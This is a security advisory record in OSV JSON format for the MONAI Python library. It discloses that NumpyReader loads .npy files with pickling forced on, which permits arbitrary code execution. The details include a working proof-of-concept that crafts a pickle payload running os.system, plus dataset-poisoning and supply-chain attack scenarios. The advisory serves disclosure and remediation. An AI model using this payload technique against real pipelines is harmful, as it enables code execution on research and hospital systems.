Vulnerabilities in pkg:pypi/monai

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wg9g-w2j2-8pgr",
  "modified" : "2026-08-18T20:22:42Z",
  "published" : "2026-08-18T20:22:42Z",
  "aliases" : [ ],
  "summary" : "MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files",
  "details" : "### Summary\n\nThe `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted \"except `allow_pickle`\").\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276)):\n\n```python\n# monai/data/image_reader.py, line 1276, in NumpyReader.read()\nimg = np.load(name, allow_pickle=True, **kwargs_)\n```\n\nThe `NumpyReader` is automatically selected by MONAI's `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `\"numpyreader\": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.\n\nThe `allow_pickle=True` parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method.\n\n**Compare with safe practices in the same project:**\n\nThe MONAI project has already addressed similar deserialization issues in other code paths:\n- `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj)\n- `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py)\n\nHowever, `NumpyReader` was not included in these security improvements.\n\nAdditionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/dataset.py#L1433)):\n\n```python\n# monai/data/dataset.py, line 1433 — safe usage\ndat = np.load(npzfile)  # allow_pickle defaults to False\n```\n\nThis inconsistency shows that `NumpyReader` was overlooked during security hardening.\n\n**The user cannot override this behavior:**\n\n```python\n# monai/data/image_reader.py, line 1233 (docstring)\n# kwargs: additional args for `numpy.load` API except `allow_pickle`.\n```\n\nThe hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs.\n\n**Data flow:**\n\n1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class\n2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset)\n3. `LoadImage` selects `NumpyReader` based on file extension\n4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)`\n5. Malicious pickle payload in the `.npy` file executes arbitrary code\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: RCE via NumpyReader allow_pickle=True in MONAI\"\"\"\nimport os\nimport tempfile\nimport numpy as np\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (os.system, ('echo \"MONAI NumpyReader RCE - Code executed\" > /tmp/monai_rce_proof.txt',))\n\ntmpdir = tempfile.mkdtemp(prefix=\"monai_poc_\")\nmalicious_npy = os.path.join(tmpdir, \"malicious_mask.npy\")\nnp.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)\n\n# With MONAI installed:\nfrom monai.data.image_reader import NumpyReader\nreader = NumpyReader()\ndata = reader.read(malicious_npy)\n\n# Verify RCE\nproof = \"/tmp/monai_rce_proof.txt\"\nif os.path.exists(proof):\n    print(f\"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}\")\n    os.remove(proof)\n\nos.remove(malicious_npy)\nos.rmdir(tmpdir)\n```\n\n**Output:**\n```\n[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed\n```\n\n### Impact\n\nAn attacker can achieve arbitrary code execution on any machine running MONAI by:\n\n1. **Dataset poisoning**: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.\n\n2. **Supply chain attack**: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run.\n\n3. **Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.\n\nThis is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "monai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-wg9g-w2j2-8pgr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/pull/8875"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Project-MONAI/MONAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T20:22:42Z",
    "nvd_published_at" : null
  }
}